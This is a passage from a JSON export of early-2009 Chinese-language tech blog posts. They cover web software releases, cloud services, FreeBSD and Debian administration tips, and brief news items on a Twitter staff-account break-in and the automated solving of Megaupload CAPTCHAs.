/></a>\r\n\r\n還有蠻多地方要努力的，不過目前看起來還蠻不錯...",
    "title": "網頁截圖"
  },
  {
    "id": "1917",
    "body": "最近 <a href=\"http://twitter.com/\">Twitter</a> 有一堆帳號被盜用是因為有人用字典攻擊法 (喂喂，這是 web 耶) 破了 staff 的密碼，並且進入 Twitter 的管理介面。<a href=\"http://www.wired.com/\">Wired</a> 雜誌向該位 cracker 取得了影片，裡面示範時直接列出是哪個 staff 的帳號被破：「<a href=\"http://blog.wired.com/27bstroke6/2009/01/professed-twitt.html\">Weak Password Brings 'Happiness' to Twitter Hacker</a>」。\r\n\r\n<object width=\"425\" height=\"344\"><param name=\"movie\" value=\"http://www.youtube.com/v/IKNbggNJMVI&hl=en&fs=1\"></param><param name=\"allowFullScreen\" value=\"true\"></param><param name=\"allowscriptaccess\" value=\"always\"></param><embed src=\"http://www.youtube.com/v/IKNbggNJMVI&hl=en&fs=1\" type=\"application/x-shockwave-flash\" allowscriptaccess=\"always\" allowfullscreen=\"true\" width=\"425\" height=\"344\"></embed></object>\r\n\r\n(如果不清楚的話，可以點「<a href=\"http://tw.youtube.com/watch?v=IKNbggNJMVI&amp;fmt=18\">H.264 版</a>」看)\r\n\r\n沒有限制 IP、沒有將站方管理介面藏到內部網路，Twitter 你們幹得真好！",
    "title": "最近 Twitter 被亂摸的事情..."
  },
  {
    "id": "1918",
    "body": "因為看不慣 <a href=\"http://wordpress.org/\">WordPress</a> 本身的 Recent Comments... :o",
    "title": "換回 K2 Theme..."
  },
  {
    "id": "1920",
    "body": "看到「<a href=\"http://hardware.slashdot.org/article.pl?sid=09/01/08/2027252\">Panasonic Working On 2-Terabyte SD Cards</a>」這則新聞的時候看到 <a href=\"http://en.wikipedia.org/wiki/ExFAT\">exFAT</a> (FAT64) 這種東西 XDDD\r\n\r\n在 Windows Embedded CE 6.0 上首次亮相，支援的 OS 也不多 (Vista SP1、Server 2008，以及 7)，而且目前的 license 還不明朗？主要是用在無法接受 <a href=\"http://en.wikipedia.org/wiki/NTFS\">NTFS</a> overhead 的環境。",
    "title": "exFAT (FAT64)"
  },
  {
    "id": "1921",
    "body": "<a href=\"http://www.google.com/\">Google</a> 宣佈服務將會延伸到 IPv6 network 上：「<a href=\"http://www.google.com/ipv6/\">Access Google services over IPv6</a>」。\r\n\r\n目前 <code>www.google.com</code> 的 AAAA record 必須透過 IPv6 的 DNS query 才能拿到。一般人還是得透過 tunnel 或其他軟體才有機會使用。",
    "title": "Google 宣佈服務將會延伸到 IPv6"
  },
  {
    "id": "1922",
    "body": "從「<a href=\"http://aws.typepad.com/aws/2009/01/manage-amazon-ec2-with-new-webbased-console.html\">Manage Amazon EC2 With New Web-Based AWS Management Console</a>」看到 <a href=\"http://www.amazon.com/\">Amazon</a> 公告，<a href=\"http://aws.amazon.com/ec2/\">EC2</a> 推出網頁管理介面，終於可以把 <a href=\"http://developer.amazonwebservices.com/connect/entry.jspa?externalID=609\">Elasticfox Firefox Extension for Amazon EC2</a> 移除掉：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/3182040655/\"><img src=\"http://farm4.static.flickr.com/3502/3182040655_d18d5bf627.jpg\" alt=\"\" /></a>\r\n\r\n目前看不到 EU EC2 (也無法管理這部份)，不過這不影響我的使用。如果接下來可以把 <a href=\"http://aws.amazon.com/s3/\">Amazon S3</a> 也整合進來，那麼就可以再拿掉一個 <a href=\"https://addons.mozilla.org/firefox/addon/3247\">Amazon S3 Firefox Organizer(S3Fox)</a>...",
    "title": "Amazon EC2 推出網頁管理介面"
  },
  {
    "id": "1924",
    "body": "<a href=\"http://www.danga.com/gearman/\">Gearman</a> 是 <a href=\"http://www.bradfitz.com/\">Brad Fitzpatrick</a> 的一個作品，用 <a href=\"http://www.perl.org/\">Perl</a> 寫的 job server，在 client library 本身就支援一定程度的高可靠度。\r\n\r\n雖然 Gearman 用 <a href=\"http://search.cpan.org/dist/Danga-Socket/\">Danga::Socket</a> (這東西用 <a href=\"http://search.cpan.org/dist/IO-KQueue/\">IO::KQueue</a>)，但不像 Brad Fitzpatrick 其他作品，Gearman 的擴展性並不佳，這點在 Gearman 的 mailing list 上已經有被討論過。\r\n\r\n不過 Gearman 在 sync job server 這個軟體領域裡有不少優點，有蠻多人還蠻喜歡用的。於是有人著手用 C 改寫 Gearman (<a href=\"http://www.oddments.org/?p=30\">New Gearman Server & Library in C, MySQL UDFs</a>)，並且改善了效率問題 (<a href=\"http://www.oddments.org/?p=29\">Faster Gearman</a>)。\r\n\r\n軟體目前還是 0.1 版，不過頗值得期待的。",
    "title": "用 C 改寫後的 Gearman"
  },
  {
    "id": "1925",
    "body": "IE8 雖然還在 beta，但 User-Agent 的說明表已經先放出來了：「<a href=\"http://blogs.msdn.com/ie/archive/2009/01/09/the-internet-explorer-8-user-agent-string-updated-edition.aspx\">The Internet Explorer 8 User-Agent String (Updated Edition)</a>」。\r\n\r\n包括 IE8 (on Vista)、IE8 在 IE7 相容模式 (on Vista)、Windows 7 下的情況、Windows x64 版本環境的字串。",
    "title": "微軟官方給的 IE8 User-Agent 說明"
  },
  {
    "id": "1926",
    "body": "在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到印度 (孟買) 當地警察會掃描不安全的無線網路，並下令他們改善：「<a href=\"http://yro.slashdot.org/article.pl?sid=09/01/10/175227\">Mumbai Police To Enforce Wi-Fi Security</a>」。\r\n\r\n警方宣稱，恐怖份子在攻擊前利用不安全的無線網路寄送信件。為了防止再度發生類似問題，警方會取締不安全的無線網路並強制改善。",
    "title": "印度警察取締不安全的無線網路"
  },
  {
    "id": "1927",
    "body": "昨天在家裡的 <a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 3.1 beta 上玩的很高興，到公司卻發現 Firefox 3.0 還沒支援，不過，可以安裝 <a href=\"https://addons.mozilla.org/firefox/addon/5410\">Text Shadow</a> 支援之個屬性。(雖然副作用還蠻多的)\r\n\r\n據說 <a href=\"http://www.apple.com/safari/\">Safari</a> 很早就支援，但同樣使用 <a href=\"http://webkit.org/\">WebKit</a> 的 <a href=\"http://www.google.com/chrome\">Chrome</a> 卻不支援...\r\n\r\n可以在 <a href=\"http://www.quirksmode.org/css/textshadow.html\">CSS - text-shadow</a> 看瀏覽器是否有支援這個屬性。\r\n\r\n補充，這是 Firefox 3.1 下看到的樣子：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/3190798409/\"><img src=\"http://farm4.static.flickr.com/3093/3190798409_f99b64d6e0.jpg\" alt=\"\" /></a>",
    "title": "CSS2 中的 text-shadow 屬性"
  },
  {
    "id": "1929",
    "body": "在 <a href=\"http://www.37signals.com/\">37signals</a> 上的「<a href=\"http://www.37signals.com/svn/posts/1528-the-bullshit-of-outage-language\">The bullshit of outage language</a>」這篇提到當機時 (outage) 這三個詞彙毫無誠意：\r\n<ul>\r\n\t<li>We apologize</li>\r\n\t<li>Any inconvenience</li>\r\n\t<li>This may have caused</li>\r\n</ul>\r\n然後第一個 comment 的地方，有人找到之前 37signals 因為 <a href=\"http://www.rackspace.com/\">Rackspace</a> 爛掉造成服務中斷時的道歉公告「<a href=\"http://www.37signals.com/svn/posts/698-downtime-notice\">Downtime notice</a>」：\r\n<blockquote><strong>We deeply apologize for any inconveniences this may have caused</strong> and will work hard to make sure we reduce the likelihood of this happening again.</blockquote>\r\n(狂噴淚)",
    "title": "當機時的道歉？"
  },
  {
    "id": "1930",
    "body": "<a href=\"http://jquery.com/\">jQuery</a> 1.3 正式版照著預定，在 1/14 放出來了：「<a href=\"http://blog.jquery.com/2009/01/14/jquery-13-and-the-jquery-foundation/\">jQuery 1.3 and the jQuery Foundation</a>」。1.3 的 release note 可以在「<a href=\"http://docs.jquery.com/Release:jQuery_1.3\">Release:jQuery 1.3</a>」這邊找到。\r\n\r\n速度改善很多，主要是 \"HTML Injection Rewrite\" 的部份改寫後的效果最好。(Selector 的部份還好，本來就很快)\r\n\r\n<a href=\"http://code.google.com/apis/ajaxlibs/documentation/\">Google AJAX Libraries API</a> 上也有了：<a href=\"http://ajax.googleapis.com/ajax/libs/jquery/1.3/jquery.min.js\">http://ajax.googleapis.com/ajax/libs/jquery/1.3/jquery.min.js</a>，要使用的人可以自己設定，不過文件還沒更新。\r\n\r\n<strong>Update</strong>：<a href=\"http://ejohn.org/\">John Resig</a> 在 <a href=\"http://twitter.com/\">Twitter</a> 上提到 <a href=\"http://twitter.com/jeresig/status/1120344386\">1.3 有些 bug，所以下個禮拜可能會出 1.3.1</a>。",
    "title": "jQuery 1.3"
  },
  {
    "id": "1933",
    "body": "<a href=\"http://www.freebsd.org/\">FreeBSD</a> 上跑 <a href=\"http://httpd.apache.org/\">Apache</a> 2.2 worker 的方法在「<a href=\"http://blog.gslin.org/archives/2008/08/17/1624/\">apache22 (worker) + mod_fastcgi + php5-fcgi</a>」這篇寫過了，同樣的架構在 <a href=\"http://www.debian.org/\">Debian</a> 上跑卻發現比 prefork 還吃記憶體，花了一些時間找，發現是預設的 Stack 太大造成的，所以：\r\n<pre>&lt;IfModule mpm_worker_module&gt;\r\n    ThreadStackSize   65536\r\n    ThreadLimit         256\r\n    StartServers          1\r\n    MaxClients          256\r\n    MinSpareThreads       1\r\n    MaxSpareThreads     256\r\n    ThreadsPerChild     256\r\n    MaxRequestsPerChild   0\r\n&lt;/IfModule&gt;</pre>\r\n加了 <code>ThreadStackSize</code> 這個設定後，每個 thread 的 stack 就會比較小了 (預設超過 1MB，不記得多少了)，這個方式跑了一個月後還蠻正常的。",
    "title": "Debian 上跑 apache22-mpm-worker"
  },
  {
    "id": "1934",
    "body": "<a href=\"http://ejohn.org/\">John Resig</a> 寫了篇 <a href=\"http://jquery.com/\">jQuery</a> 1.3.1 的細節 (順便公告 jQuery 1.3.1 出版了)：「<a href=\"http://blog.jquery.com/2009/01/21/jquery-131-released/\">jQuery 1.3.1 Released</a>」。\r\n\r\n主要包括：\r\n<ul>\r\n\t<li>不再提供 <a href=\"http://dean.edwards.name/packer/\">packer</a> 版本，最主要的原因是速度，<del>在來世</del>再來是在 <a href=\"http://www.adobe.com/products/air/\">Adobe AIR</a> 或 <a href=\"http://code.google.com/p/google-caja/\">Caja</a> 下會有問題。不過，需要的人還是可以自己壓...</li>\r\n\t<li>不再支援 <a href=\"http://www.apple.com/safari/\">Safari</a> 2，主要是市佔率降到很低了，目前 Safari 的主流是 3.x。</li>\r\n</ul>\r\n1.3.1 修掉的 bug 在「<a href=\"http://dev.jquery.com/report/30\">{30} jQuery 1.3.1 Closed Bugs</a>」這裡可以看到。(裡面有一個 enhancement，不太重要？)",
    "title": "jQuery 1.3.1"
  },
  {
    "id": "1935",
    "body": "這篇說的方法在 <a href=\"http://www.debian.org/\">Debian</a> 可能也一樣，不過暫時沒有打算在有 Debian 的機器上測試。\r\n\r\n關於 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 的修改，你可以參考「<a href=\"https://help.ubuntu.com/community/Java\">Java - Community Ubuntu Documentation</a>」這篇，我在下面提到的方式會透過 <code>update-alternatives</code> 修改。\r\n\r\n裝完 <a href=\"http://www.sun.com/\">Sun</a> 的 <a href=\"http://java.com/\">Java</a> 後發現還是跑 <a href=\"http://www.gnu.org/\">GNU</a> 的版本，看了 link 結構後猜大概會跟「<a href=\"http://plog.longwin.com.tw/my_note-unix/2008/10/15/ubuntu-debian-modify-default-edit-2008\">Ubuntu / Debian 快速修改預設編輯器(nano -&gt; vim)</a>」這篇的方法一樣：\r\n<blockquote><code>lrwxrwxrwx 1 root root 22 2008-10-27 01:38 java -&gt; /etc/alternatives/java*</code></blockquote>\r\n所以修改方式是用 root 跑：\r\n<blockquote><code># update-alternatives --config java</code></blockquote>\r\n同理，如果要把 compiler (javac) 也換成 Sun 的版本，用：\r\n<blockquote><code># update-alternatives --config javac</code></blockquote>\r\n就可以了。用 <code>-version</code> 可以驗證：\r\n<blockquote><pre>$ java -version\r\njava version \"1.6.0_10\"\r\nJava(TM) SE Runtime Environment (build 1.6.0_10-b33)\r\nJava HotSpot(TM) Server VM (build 11.0-b15, mixed mode)\r\n$ javac -version\r\njavac 1.6.0_10</pre></blockquote>",
    "title": "將 Ubuntu 裡的 Java 更換成 Sun 的版本"
  },
  {
    "id": "1937",
    "body": "星期五晚上去<a href=\"http://www.tenlong.com.tw/\">天瓏</a>一趟，把 <a href=\"http://www.quirksmode.org/\">ppk</a> 寫的《<a href=\"http://www.quirksmode.org/book/\">ppk on JavaScript</a>》中文版抱回家看，可以趁著年假沒有網路時翻閱。\r\n\r\n英文版是在 2006 年出版的，書評可以參考 <a href=\"http://blog.othree.net/\">othree</a> 寫的「<a href=\"http://blog.othree.net/log/2007/03/11/ppk-on-javascript-comment/\">ppk on javascript 書評</a>」，中文版在 2008/8 出版，由 <a href=\"http://ued.taobao.com/\">Taobao UED</a> 翻譯。\r\n\r\n在講 JavaScript 的歷史時 ppk 提到：\r\n<blockquote>在我寫這本書的時候，Ajax 的熱潮仍然席捲全球。但是我相信他最終會像 DHTML 那樣結束：人們會完全對它失去興趣，而它將會原形畢露，只是少量 JavaScript 和大量的空話，雖然我不知道這會在何時發生。\r\n\r\nJavaScript 將回歸瘦時代，那時它的用途將再次被重定義，大型的解決方案將被精巧簡單的腳本所取代。</blockquote>\r\n前面的趨勢似乎不會來臨，Ajax 被大幅證明對於操作介面的幫助，甚至還推動瀏覽器的升級。後面提到的事情，<a href=\"http://jquery.com/\">jQuery</a> 這類 JavaScript Library 似乎符合 ppk 的想法。(<a href=\"http://ui.jquery.com/\">jQuery UI</a> 是另外一回事了...)\r\n\r\n2009 年看 2006 年的人對於未來 (當時的未來) 的猜測還蠻有趣的。",
    "title": "ppk 的 ppk on JavaScript"
  },
  {
    "id": "1939",
    "body": "<a href=\"http://zh.wikipedia.org/wiki/CAPTCHA\">CAPTCHA</a> 廣泛的被用在阻擋機器人，一般是給你一張圖片，要求你輸入圖片的字。為了避免用 OCR 破解，CAPTCHA 通常會有各種變化，讓程式難以破解。\r\n\r\n但 <a href=\"http://www.megaupload.com/\">Megaupload</a> 的 CAPTCHA 的變化很簡單，像這樣：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/3221666585/\"><img src=\"http://farm4.static.flickr.com/3097/3221666585_b4c501eaa1.jpg\" alt=\"\" /></a>\r\n\r\n於是就有人用 <a href=\"http://www.mozilla.com/firefox/\">Firefox</a> + <a href=\"https://addons.mozilla.org/firefox/addon/748\">Greasemonkey</a>，在純 JavaScript 的環境下以類神經網路破 Megaupload 的 CAPTCHA：「<a href=\"http://userscripts.org/scripts/show/38736\">Megaupload auto-fill captcha</a>」。\r\n\r\n<a href=\"http://ejohn.org/\">John Resig</a> 甚至寫了一篇文章分析這隻 Greasemonkey script 的程式碼：「<a href=\"http://ejohn.org/blog/ocr-and-neural-nets-in-javascript/\">OCR and Neural Nets in JavaScript</a>」，從利用 <code>getImageData</code> 取得圖片內容、轉灰階、切字、去雜訊，到最後計算 Megaupload 的 CAPTCHA...\r\n\r\n剛好在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到「<a href=\"http://it.slashdot.org/article.pl?sid=09/01/23/2326218\">Building a Better CAPTCHA</a>」也在討論用 CAPTCHA 是否能解決問題。(comment 才是重點)",
    "title": "在 Greasemonkey 裡破 Megaupload 的 CAPTCHA"
  },
  {
    "id": "1941",
    "body": "很久之前就在關注的服務，與 <a href=\"http://aws.amazon.com/\">Amazon Web Services</a> 的 <a href=\"http://aws.amazon.com/s3/\">S3</a> + <a href=\"http://aws.amazon.com/cloudfront/\">CloudFront</a> 是直接競爭關係。\r\n\r\n在很早前就註冊，但一直因為帳號問題而沒測試，當時以為是系統忙碌，懶得寫信去問。這幾天想趁著過年的時候測，發現帳戶還是有問題，所以昨天請他們處理，今天帳號就正常了...\r\n\r\n<a href=\"http://www.mosso.com/cloudfiles.jsp\">Mosso CloudFiles</a> 的背後是 <a href=\"http://www.rackspace.com/\">Rackspace</a>，是一個與 Amazon S3 性質相同的檔案存儲服務，不過與 Amazon S3 不同的是，他的 HTTP 下載部份一定要透過 CDN，不像 Amazon S3 可以到 original server 抓取。\r\n\r\nMosso CloudFiles 使用的 CDN 是 <a href=\"http://www.limelightnetworks.com/\">Limelight Networks</a>，這是全世界第二大 CDN，也是 <a href=\"http://www.youtube.com\">YouTube</a> 在使用 <a href=\"http://www.google.com/\">Google</a> 的網路前使用的 CDN。他目前的價錢從 USD$0.22/GB 開始計算，與 Amazon CloudFront 的 Japan Edge 同一個等級，但 Limelight Networks 在 CDN 這塊的功夫比起 <a href=\"http://www.amazon.com/\">Amazon</a> 真的強很多，像是 <a href=\"http://www.hinet.net/\">HiNet</a> 的使用者會導到到美西的伺服器，而非香港的伺服器 (因為 HiNet 到香港的伺服器會走到北美)。\r\n\r\nMosso CloudFiles 的價錢頁面在「<a href=\"http://www.mosso.com/pricingfiles.jsp\">Pricing / Scaling</a>」。Amazon CloudFront 的價錢則是在「<a href=\"http://aws.amazon.com/cloudfront/#pricing\">Pricing</a>」這頁。\r\n\r\n比較重要的是 CloudFiles CDN 的 GET request 本身是不算錢的，拿來放 CSS 與 JavaScript 之類的小檔案似乎相當不錯？\r\n\r\n除了官方提供了一些 API 外 (以及一些官方提供的 dev library，包括 <a href=\"http://java.com/\">Java</a>、<a href=\"http://www.php.net/\">PHP</a>、<a href=\"http://www.python.org/\">Python</a>、<a href=\"http://zh.wikipedia.org/wiki/%EF%BC%A3%EF%BC%83\">C#</a>)，<a href=\"http://www.perl.org/\">Perl</a> 的社群也寫了 <a href=\"http://www.cpan.org/\">CPAN</a> module：<a href=\"http://search.cpan.org/dist/Net-Mosso-CloudFiles/\">Net-Mosso-CloudFiles</a>，所以拿來跑 routine job (備份之類的) 應該沒有大問題。\r\n\r\n價位與 <a href=\"http://aws.amazon.com/\">AWS</a> 都差不多，以儲存空間及頻寬計費，目前 Inbound bandwidth (從外面流入 CloudFiles) 有優惠，可以看一下。\r\n\r\n<strong>Update</strong>：發現兩個大缺點，使得 CloudFiles 沒那麼吸引人了：\r\n<ul>\r\n\t<li>透過 Control Panel 砍掉 original server 上的檔案後，CDN edge 不會更新。</li>\r\n\t<li>不支援 HTTP gzip/deflate。</li>\r\n</ul>\r\n<strong>Update</strong>：okay，直接問還是比較有效率的。<a href=\"http://twitter.com/Mosso/status/1149064935\">第一個問題的答案</a>頗糟糕：\r\n<blockquote>@gslin There is a built in TTL - it can be changed vie the API.</blockquote>\r\n是可以設短一點，但實在不太舒服...",
    "title": "Mosso CloudFiles"
  },
  {
    "id": "1943",
    "body": "環境是單顆 E5405 的機器，上面的作業系統是 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 7.1，應用程式的部份是 <a href=\"http://httpd.apache.org/\">apache</a> 2.2 (worker) + <a href=\"http://www.fastcgi.com/\">mod_fastcgi</a> 2.4.6 + <a href=\"http://www.php.net/\">PHP</a> 5.2.8 + <a href=\"http://pecl.php.net/package/APC\">APC</a> 3.0.19。\r\n\r\n由於前陣子發現 PHP 在 MP 架構下效能不太好，偶而會有一堆 php-cgi 卡住，用 top 會發現卡在 \"lockf\" 這個狀態，這時候前端的 L4 switch 會看到 500 Internal Server Error 而把這台機器暫時離線。等到 php-cgi 慢慢消化完，前端的 L4 switch 又會抓到 200。\r\n\r\n在 php-cgi 卡住的狀況下試著用 gdb 找原因，當時 backtrace 發現是卡在 APC 裡的 lockf，所以就有一些想法，等有空閒的時候測試。\r\n\r\n第一個想法是把 APC 的 lockf (fcntl) 改用 IPC semaphore，這個在 ports 可以調整。重新編完後發現 php-cgi 跑不起來，後來試出來，需要同時打開 mmap support 與 IPC semaphore。\r\n\r\n第一張是 webfront-7，跑 mmap + semaphore。第二張是 webfront-8，保持原來的 shm + fcntl (lockf)：\r\n\r\n<img src=\"http://farm4.static.flickr.com/3320/3230928329_382a8a4229.jpg\" alt=\"\" />\r\n\r\n<img src=\"http://farm4.static.flickr.com/3507/3231778982_3234797ee8.jpg\" alt=\"\" />\r\n\r\n效能有「好一點」，但很難觀察出來，實際再加上 webfront-{9,10} 比較後 (都是完全同型的伺服器)，看起來 webfront-7 的效能是最好的，所以得觀察當爆量時是否會卡 lockf。",
    "title": "FreeBSD 上 PHP5 的 pecl-APC 效能"
  },
  {
    "id": "1944",
    "body": "前陣子提到了「<a href=\"http://blog.gslin.org/archives/2009/01/10/1924/\">用 C 改寫後的 Gearman</a>」，在當時還是 0.1 版，現在已經 0.2 版了。花了一些時間把他 submit 到 ports tree 裡面，現在可以在 ports 裡的 <a href=\"http://www.freshports.org/devel/gearmand\">devel/gearmand</a> 裝起來，然後在 <code>/etc/rc.conf</code> 裡設定：\r\n<blockquote><pre>gearmand_enable=\"YES\"</pre></blockquote>\r\n裝好後預設是聽 port 4730 (IANA 配的位置)，並打開 verbose 選項，也就是：\r\n<blockquote><pre>gearmand_flags=\"-p 4730 -v\"</pre></blockquote>\r\n如果要用舊的 port (7003)，而且也不想要開 verbose：\r\n<blockquote><pre>gearmand_flags=\"-p 7003\"</pre></blockquote>\r\n這樣就可以了。",
    "title": "FreeBSD 上的 Gearmand"
  },
  {
    "id": "1946",
    "body": "在 <a href=\"http://blogoscoped.com/\">Google Blogoscoped</a> 看到的「<a href=\"http://blogoscoped.com/archive/2009-02-02-n33.html\">Load Time of Google Analytics Script</a>」這篇文章，介紹了 <a href=\"http://www.pingdom.com/\">Pingdom</a> 的「<a href=\"http://royal.pingdom.com/2009/01/30/google-analytics-script-loads-97-slower-at-peak-hours-%E2%80%93-in-europe/\">Google Analytics script loads 97% slower at peak hours – in Europe</a>」這份報告。\r\n\r\n文章裡 Pingdom 量測 <a href=\"http://www.google.com/analytics/\">Google Analytics</a> 的 javascript (urchin.js 這個檔案)，發現在各地區尖峰時間都會變慢，尤其是歐洲會慢將近一倍的時間。在 Pingdom 的分析裡發現歐洲部份的讀取時間與 <a href=\"https://www.ams-ix.net/technical/stats/\">AMS-IX 提供的流量圖</a>接近。\r\n\r\n這個檔案因為有設定一定時間的 expire time (604800 secs，七天)，加上有接近 1/4 的頁面有使用 Google Analytics 的服務 (參考「<a href=\"http://dev.opera.com/articles/view/mama-scripting-syntax/\">MAMA: Scripting syntax</a>」這篇文章裡提到的「External script file names」)，我覺得讀取速度不會有太大影響，<a href=\"http://www.google.com/\">Google</a> 算是盡人事了。",
    "title": "Google Analytics 讀取的速度"
  },
  {
    "id": "1947",
    "body": "懶的自己管機器了，所以把 blog.gslin.org 換到 <a href=\"http://mediatemple.net/\">Media Temple</a> 的 <a href=\"http://mediatemple.net/webhosting/gs/\">Grid-Service</a>，機器反應速度還蠻快的。",
    "title": "換到 Media Temple"
  },
  {
    "id": "1948",
    "body": "前陣子 <a href=\"http://jquery.com/\">jQuery</a> 1.3 出來，但問題還不少，除了在 jQuery 官方的 bug tracker 上可以看到外，在 <a href=\"http://www.pixnet.net/\">PIXNET</a> 內部測試時有發現一些問題，所以就暫時維持 1.2.6... (IE6 變快不少，所以以，其他的 browser 速度都不錯)\r\n\r\n<a href=\"http://ui.jquery.com/\">jQuery UI</a> 這陣子在 RC 階段，結果決定要同時維持與 <a href=\"http://jquery.com/\">jQuery</a> 1.2.6 與 1.3 的相容性：「<a href=\"http://blog.jquery.com/2009/02/12/jquery-ui-17-is-the-new-16/\">jQuery UI 1.7 is the new 1.6</a>」。\r\n\r\njQuery UI 1.6rc6 + 修正會是 jQuery UI 1.7，這個 branch 需要使用 jQuery 1.3 或更新的版本。而 jQuery UI 1.6rc2 + 修正會是 jQuery UI 1.6，讓決定使用 jQuery 1.2.6 的人可以享受到 jQuery UI 的新功能，但這個版本在完成後就沒有打算維護，純粹只是階段性產品，讓大家有更充裕的時間測試 jQuery 1.3+...",
    "title": "jQuery UI 會同時保持與 jQuery 1.2.6、1.3 的相容性"
  },
  {
    "id": "1949",
    "body": "<a href=\"http://www.htc.com/www/product/g1/\">T-Mobile G1</a> 整合了許多 <a href=\"http://www.google.com/\">Google</a> 的服務，像是 <a href=\"http://gmail.google.com/\">Gmail</a>、<a href=\"http://www.google.com/calendar\">Google Calendar</a> 以及 <a href=\"http://www.youtube.com/\">YouTube</a>。(在 G1 上面三個我最常用的服務)\r\n\r\n年前跟<a href=\"http://ltcctl.blogspot.com/\">老大</a>聚餐時聊到 <a href=\"http://www.apple.com/iphone/\">iPhone</a> 就聊到很多有趣的想法。現在想想，在 G1 上面也可以用...\r\n\r\n現在除了不能用打中文外 (<a href=\"http://wiki.cheyingwu.tw/Android/Android-Market-Application/KerKerInput\">KerKerInput</a> 操作上還是不方便)，其他的倒是都還不錯...",
    "title": "T-Mobile G1"
  },
  {
    "id": "1950",
    "body": "不知道是從哪邊傳出 CNAME 不能設到 CNAME 的觀念，剛剛特地找資料，發現可能被「誤解」的地方。\r\n\r\n在 <a href=\"http://www.ietf.org/rfc/rfc1034.txt\">RFC 1034</a> 裡因為效率問題「建議」不要 CNAME to CNAME，但也強調這不應該視為錯誤：(5.2.2. Aliases)\r\n<blockquote>Multiple levels of aliases should be avoided due to their lack of efficiency, but should not be signalled as an error.</blockquote>\r\n參考：「<a href=\"https://lists.isc.org/pipermail/bind-users/2002-December/043681.html\">Cname of Cname</a>」。",
    "title": "CNAME to CNAME"
  },
  {
    "id": "1951",
    "body": "<a href=\"http://www.freshports.org/ports-mgmt/portmaster/\">portmaster</a> 是管理 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 套件升級的程式，比起 <a href=\"http://www.freshports.org/ports-mgmt/portupgrade/\">portupgrade</a> 的主要優點在速度 (這是重點)，配合 <a href=\"http://www.freshports.org/ports-mgmt/portconf/\">portconf</a> 幾乎可以替代 portupgrade。(參考兩年前的「<a href=\"http://blog.gslin.org/archives/2007/03/05/1113/\">portupgrade、portmaster、portconf</a>」這篇文章)\r\n\r\n雖然兩年前就想要拿掉 portupgrade，但當年的 portmaster + portconf 用起來不習慣，直到這幾天為了升級強迫自己學習 portmaster，才試著把每個功能找出來。(速度考量。因為最近忙，實際用 portupgrade 發現完全不能接受)\r\n\r\n常用的指令包括：\r\n<blockquote>對 portname 以及他所用到的 port 升級，不要一直詢問「是否要砍掉備份的 package」：\r\n<code># portmaster -u [portname]</code></blockquote>\r\nportmaster 會把舊版軟體包成 package 放在 <code>/usr/ports/packages/portmaster-backup</code>，如果不需要可以砍掉。\r\n<blockquote>將 pecl-hash-1.5 用 security/php5-hash 取代：(搬位置)\r\n<code># portmaster -u -o security/php5-hash pecl-hash-1.5</code></blockquote>\r\n<code>-o</code> 這個指令與 portupgrade 相同，沒有什麼大問題。\r\n\r\n順手後，效率又上升了不少...",
    "title": "portmaster"
  },
  {
    "id": "1952",
    "body": "如果想在 <a href=\"http://aws.amazon.com/ec2\">Amazon EC2</a> 上跑 <a href=\"http://en.wikipedia.org/wiki/XFS\">XFS</a>，在某些情況會遇到 kernel panic，而這個問題在 <a href=\"http://www.debian.org/releases/lenny/\">lenny</a> (以及之後的版本) 上有比較簡單的解法了：「<a href=\"http://developer.amazonwebservices.com/connect/thread.jspa?threadID=28968\">Debian Lenny and XFS causes kernel panic: Suggested Workaround</a>」，解法是在 <code>mkfs.xfs</code> 時多增加 <code>-l version=1</code> 即可。\r\n\r\n另外官方也在下面 reply 了另外一個解法，針對 FC8 kernel 的修正。\r\n\r\n然後 Eric Hammond (EC2 上最有名的 <a href=\"http://www.debian.org/\">Debian</a> AMI 製作者) 說 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 也開始在測試 EC2 platform (<a href=\"http://www.ubuntu.com/ec2\">www.ubuntu.com/ec2</a>)，將會是第三個解法...\r\n\r\n如果有在 EC2 上用 EBS 跑 <a href=\"http://dev.mysql.com/\">MySQL</a> 的，可以考慮換成 XFS... MySQL 在 XFS 上比起 ext3 好不少。",
    "title": "在 Amazon EC2 上跑 XFS"
  },
  {
    "id": "1955",
    "body": "看起來 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 決定走向 <a href=\"http://llvm.org/\">llvm</a> 的路子，而非 <a href=\"http://www.netbsd.org/\">NetBSD</a>/<a href=\"http://www.openbsd.org/\">OpenBSD</a> 所選的 <a href=\"http://pcc.ludd.ltu.se/\">PCC</a>...\r\n\r\n這是從 <a href=\"http://blog.rafan.org/\">rafan</a> 的個人板轉自 -current mailing list 的消息，<a href=\"http://clang.llvm.org/\">clang/llvm</a> 已經能夠編 FreeBSD GENERIC kernel，並且正常使用：「<a href=\"http://lists.freebsd.org/pipermail/freebsd-current/2009-February/003743.html\">[ANNOUNCE]: clang/llvm can compile booting FreeBSD kernel on i386/amd64</a>」，目前 make world 的部份也正努力改善中：「<a href=\"http://wiki.freebsd.org/BuildingFreeBSDWithClang\">Building FreeBSD with clang/llvm</a>」。\r\n\r\n目前 FreeBSD 還是跑 <a href=\"http://gcc.gnu.org/\">GCC</a> 4.2.1 (最後一個 GPLv2 版本，目前 4.2 的分支已經出到 4.2.3 了)，在 GENERIC kernel 可以 compile 的消息放出來後，應該會有更多的人加入測試或是跳進來改善。\r\n\r\n好久沒看到 FreeBSD 的大動作了...",
    "title": "clang/llvm 能夠編 FreeBSD GENERIC kernel..."
  },
  {
    "id": "1956",
